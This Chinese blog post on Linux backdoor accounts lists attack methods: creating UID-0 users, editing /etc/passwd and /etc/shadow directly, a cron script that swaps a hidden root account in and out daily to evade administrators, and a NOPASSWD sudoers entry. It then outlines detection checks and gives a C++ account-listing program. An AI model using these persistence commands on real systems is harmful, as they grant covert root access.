catalog

. Linux黑客帐号攻击向量
. Linux可疑帐号检测模型

1. Linux黑客帐号攻击向量

0x1: 将黑客帐号添加到"root"组

. useradd hacker -p hacker123
. usermod -a -G root hacker
. id hacker

aaarticlea/png;base64,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" alt="" />

0x2: 不使用系统指令添加系统帐号

. vim /etc/passwd
新增一行: musicyxy:x::::/:/bin/bash . vim /etc/shadow
新增一行: musicyxy::::::::
//!wq

0x3: 基于crontab进行帐号隐藏

. 利用crontab(计划任务)进行黑客帐号的隐藏
. 把用于隐藏黑客帐号的伪造passwd和shadow文件备份到别的地方(例如/tmp/passwd、/tmp/shadow),原目录(/etc/passwd、/etc/shadow)保持不变
. 将musicyxy:x::::/:/bin/sh和musicyxy::::::::两条信息追加到伪造的passwd和shadow文件中
. 然后在每天的固定时间点将伪造的passwd、shadow文件替换到/etc/目录,并做好原始正常文件的备份,在过了这段时间窗口后,将原始正常文件还原回来
. 这样我们就可以在伪造文件生效的时间段内登陆系统,在不登陆的时候,伪造文件也会自动还原为正常文件,这样不容易被管理员发现

shell

#!/bin/bash
//每天的11点40分运行cat /etc/passwd > /dev/ttypwd
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
//每天的12点9分回滚原始正常passwd、shadow文件
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;

这样,每天的后门帐号存活时间窗口为11:40~12:09

0x4: 添加UID=0的非root帐号

. 添加普通用户: useradd hacker -p hacker123
//新创建的用户会在/home下创建一个用户目录hacker . 删除用户testuser所在目录
rm -rf /home/hacker . 添加权限
vim /etc/passwd
把新加的用户uid和gid改为0:
hacker:x::::/home/hacker:/bin/bash -> hacker:x::::/home/hacker:/bin/bash
or
useradd -u -o -g root -G root -d /home/hacker hacker

0x5: 基于sudo指令隐藏高权限账户

不管sudoers文件在哪儿,sudo都提供了一个编辑该文件的命令: visudo来对该文件进行修改,它会帮你校验文件配置是否正确,如果不正确,在保存退出时就会提示你哪段配置出错的

<user list> <host list> = <operator list> <tag list> <command list>
//hacker ALL=(ALL) NOPASSWD: ALL
. user list: 用户/组,或者已经设置的用户的别名列表, 用户名直接username,用户组加上%,比如%admin
. host list: 主机名或别名列表
. operator list: runas用户,即可以以哪个用户、组的权限来执行
. tag list: 这个经常用到的是 NOPASSWD: 添加这个参数之后可以不用输入密码
. command list: 可以执行的命令或列表

黑客攻击手段

. vim /etc/sudoers
. 添加一行: hacker ALL=(ALL) NOPASSWD: ALL
. sudo -u root /mnt/sudodir/cmd,不需要输入密码
. 这样就能实现hacker用户允许转换成任意用户及执行任意命令

Relevant Link:

http://read.newbooks.com.cn/info/156976.html
http://network810.blog.51cto.com/2212549/1133349
http://jingyan.baidu.com/article/5bbb5a1b5cf43513eba179b5.html
http://www.linux521.com/2009/system/201005/11198.html
http://www.linux521.com/2009/system/201005/11198.html
https://linux.cn/article-2655-1.html
http://chenall.net/post/linux-sudo-config/

2. Linux可疑帐号检测模型

0x1: 检测root用户组的非root用户

. 通过Bash指令: cut -d: -f1 /etc/passwd,获取当前账户列表
. 遍历列表,调用getpwnam、getgrgid获取每个账户的pw_name、pw_uid、pw_gid
. 检测是否存在异常帐号
) 非root账户,但是uid为0
) 非root账户,但是gid为0
) 非root账户,但是shell为/bin/bash、/bin/sh(非/sbin/nologin)

Code Example

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <grp.h>
#include <pwd.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h> void getUserInfo(const char *name)
{
struct passwd* pw;
struct group* grp; if(name == NULL)
{
return;
} pw = (struct passwd*)malloc(sizeof(struct passwd));
grp = (struct group*)malloc(sizeof(struct group)); pw = getpwnam(name);
if (!pw)
{
printf ("Couldn't find out about user %s, %d.\n", name, errno);
return;
}
printf ("User login name is %s.\n", pw->pw_name);
printf ("User uid is %d.\n", (int) (pw->pw_uid));
printf ("User gid is %d.\n", (int) (pw->pw_gid));
printf ("User home is directory is %s.\n", pw->pw_dir);
printf ("User default shell is %s.\n", pw->pw_shell); //group info
grp = getgrgid (pw->pw_gid);
if(!grp)
{
printf ("Couldn't find out about group %d.\n", (int)pw->pw_gid);
return;
}
printf ("User default group is %s (%d).\n", grp->gr_name, (int) (pw->pw_gid)); return;
} int main()
{
FILE *fp = popen("cut -d: -f1 /etc/passwd", "r");
if(fp == NULL)
{
return ;
}
char line[];
while(fgets(line, , fp) != NULL)
{
//std::cout << line;
getUserInfo((const char *)line);
}
pclose(fp); return ;
} //g++ healthchcker.cpp -o healthchcker

Relevant Link:

http://blog.csdn.net/xocoder/article/details/8987135
http://pubs.opengroup.org/onlinepubs/009695399/basedefs/pwd.h.html
https://www.mkssoftware.com/docs/man5/struct_group.5.asp
http://www.embedu.org/column/Column185.htm
http://www.cnblogs.com/hnrainll/archive/2011/05/07/2039692.html

0x2: /etc/sudoers异常配置检测

. 打开/etc/sudoers
. 递归的处理include的情况
. 检查是否存在除了"root ALL=(ALL) ALL"之外的可疑配置

0x3: /etc/passwd、/etc/shadow权限检查

标准基线权限

. /etc/shadow: other组不应该有写权限
. /etc/shadow: other组不应该有写权限

Copyright (c) 2015 LittleHann All rights reserved

Linux Hackers/Suspicious Account Detection的更多相关文章

  1. linux出现user account has expired解决方案

    SUSE Linux 用户user1登陆不了,确认密码没错,使用root用户登陆,su - user1 提示密码不对,passwd user1提示帐户过期user account hasexpired ...

  2. Linux System Reinforcement、Intrusion Detection Based On syslog

    目录 .文件系统及访问权限 . Linux Syslog . Linux日志审计 . 帐号安全管理 . 基础物理安全 . 系统编译环境安全 . 系统病毒.后门.rootkit安全 . 系统端口.服务安 ...

  3. 嵌入式Linux驱动学习之路(五)u-boot启动流程分析

    这里说的u-boot启动流程,值得是从上电开机执行u-boot,到u-boot,到u-boot加载操作系统的过程.这一过程可以分为两个过程,各个阶段的功能如下. 第一阶段的功能: 硬件设备初始化. 加 ...

  4. Linux内存使用情况以及内存泄露分析之工具与方法

    <Linux C/C++ Memory Leak Detection Tool> 1. 内存使用情况分析 1.1 系统总内存分析 通过cat /proc/meminfo,可用的物理内存=M ...

  5. Linux常用基本命令(paste)

    paste命令 作用:合并文件 格式: paste [option] [file] 1,把两个文件的内容,按行合并 ghostwu@dev:~/linux/paste$ ls ghostwu1.txt ...

  6. Linux内存使用情况以及内存泄露情况

    1. 内存使用情况分析 http://www.360doc.com/content/15/1118/13/17283_514054063.shtml https://www.linuxidc.com/ ...

  7. 从单片机到系统之--uboot启动arm linux

    UBOOT官网下载地址:http://ftp.denx.de/pub/u-boot/ 很详细的UBOOT解释: https://www.crifan.com/files/doc/docbook/ubo ...

  8. Linux 驱动开发

    linux驱动开发总结(一) 基础性总结 1, linux驱动一般分为3大类: * 字符设备 * 块设备 * 网络设备 2, 开发环境构建: * 交叉工具链构建 * NFS和tftp服务器安装 3, ...

  9. Chkrootkit Sourcecode Learning

    目录 . Chkrootkit Introduce . Source Code Frame . chklastlog.c . chkwtmp.c . ifpromisc.c . chkproc.c . ...

随机推荐

  1. jboss eap 6.3 域(Domain)模式配置

    jboss提供了二种运行模式:standalone(独立运行模式).domain(域模式),日常开发中,使用standalone模式足已:但生产部署时,一个app,往往是部署在jboss集群环境中的, ...

  2. WebPack系列:Webpack编译的代码如何在tomcat中使用时静态资源路径不对的问题如何解决

    问题:     使用webpack+vue做前端,使用tomcat提供api,然后npm run build之后需要将编译,生成如下文件: |   index.html \---appserver   ...

  3. 翻译qmake文档(一) qmake指南和概述

    翻译qmake文档 目录 英文文档连接: http://qt-project.org/doc/qt-5/qmake-manual.html http://qt-project.org/doc/qt-5 ...

  4. 制作鼠标移动到div上面显示弹出框

    <div class="show-dialog hide"> <header> <div class="note"> < ...

  5. 设置svg图片大小

    background-image: url(/resources/img/liveSupport/tx_1.svg); background-size: 16px 16px; width: 16px; ...

  6. SQLServer(MSSQL)、MySQL、SQLite、Access相互迁移转换工具 DB2DB v1.2

    最近公司有一个项目,需要把原来的系统从 MSSQL 升迁到阿里云RDS(MySQL)上面.为便于测试,所以需要把原来系统的所有数据表以及测试数据转换到 MySQL 上面.在百度上找了很多方法,有通过微 ...

  7. mongo集群

    http://blog.csdn.net/canot/article/details/50739359 http://blog.csdn.net/bluejoe2000/article/details ...

  8. 匈牙利算法(codevs2776)

    type node=^link; link=record des:longint; next:node; end; var n,m,i,t,num:longint; p:node; nd:..] of ...

  9. WinForm 程序加管理员权限

    在Vista 和 Windows 7 及更新版本的操作系统,增加了 UAC(用户账户控制) 的安全机制,如果 UAC 被打开,用户即使以管理员权限登录,其应用程序默认情况下也无法对系统目录.系统注册表 ...

  10. Hibernate 的dialect 大全

    RDBMS 方言 DB2 org.hibernate.dialect.DB2Dialect DB2 AS/400 org.hibernate.dialect.DB2400Dialect DB2 OS3 ...